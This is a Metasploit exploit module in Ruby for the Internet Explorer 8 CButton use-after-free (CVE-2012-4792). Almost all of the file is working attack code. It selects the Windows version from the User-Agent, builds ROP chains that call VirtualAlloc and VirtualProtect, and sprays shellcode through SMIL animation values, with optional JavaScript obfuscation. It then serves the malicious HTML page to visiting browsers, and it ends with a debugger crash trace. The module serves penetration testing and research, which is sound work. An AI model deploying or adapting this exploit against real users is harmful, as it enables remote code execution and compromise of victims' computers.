##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => GoodRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CButton object is freed, but a reference
is kept and used again during a page reload, an invalid memory that's controllable
is used, and allows arbitrary code execution under the context of the user.
Please note: This vulnerability has been exploited in the wild targeting
mainly China/Taiwan/and US-based computers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'eromang',
'mahmud ab rahman',
'juan vazquez', #Metasploit
'sinn3r', #Metasploit
'Peter Vreugdenhil' #New trigger & new exploit technique
],
'References' =>
[
[ 'CVE', '2012-4792' ],
[ 'US-CERT-VU', '154201' ],
[ 'BID', '57070' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ],
[ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]
],
'Privileged' => false,
'DisclosureDate' => "Dec 27 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie8_smil(my_target, p)
case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(p)
js = %Q|
unicorn = unescape("#{padding}");
for (i=0; i < 3; i++) {
unicorn += unescape("#{padding}");
}
unicorn += unescape("#{js_payload}");
animvalues = unescape("#{align_esp}");
for (i=0; i < 0xDC/4; i++) {
if (i == 0xDC/4-1) {
animvalues += unescape("#{xchg_esp}");
}
else {
animvalues += unescape("#{align_esp}");
}
}
animvalues += unicorn;
for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
|
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
case t['Rop']
when :msvcrt
case t.name
when 'IE 8 on Windows XP SP3'
rop_gadgets =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
when 'IE 8 on Windows Server 2003'
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591 # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
end
else
rop_gadgets =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0xffffffff,
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
# rop chain generated with mona.py
].pack("V*")
end
rop_payload = rop_gadgets
case t['Rop']
when :msvcrt
rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
else
rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
end
rop_payload << code
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie8_smil(my_target, p)
html = %Q|
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld()
{
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
#{js}
for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.firstChild.applyElement(e_form);
e_div.innerHTML = ""
e_div.appendChild(document.createElement('body'));
CollectGarbage();
try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld())">
<t:ANIMATECOLOR id="myanim"/>
<div id="divelm"></div>
<form id="formelm">
</form>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37
0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
=end
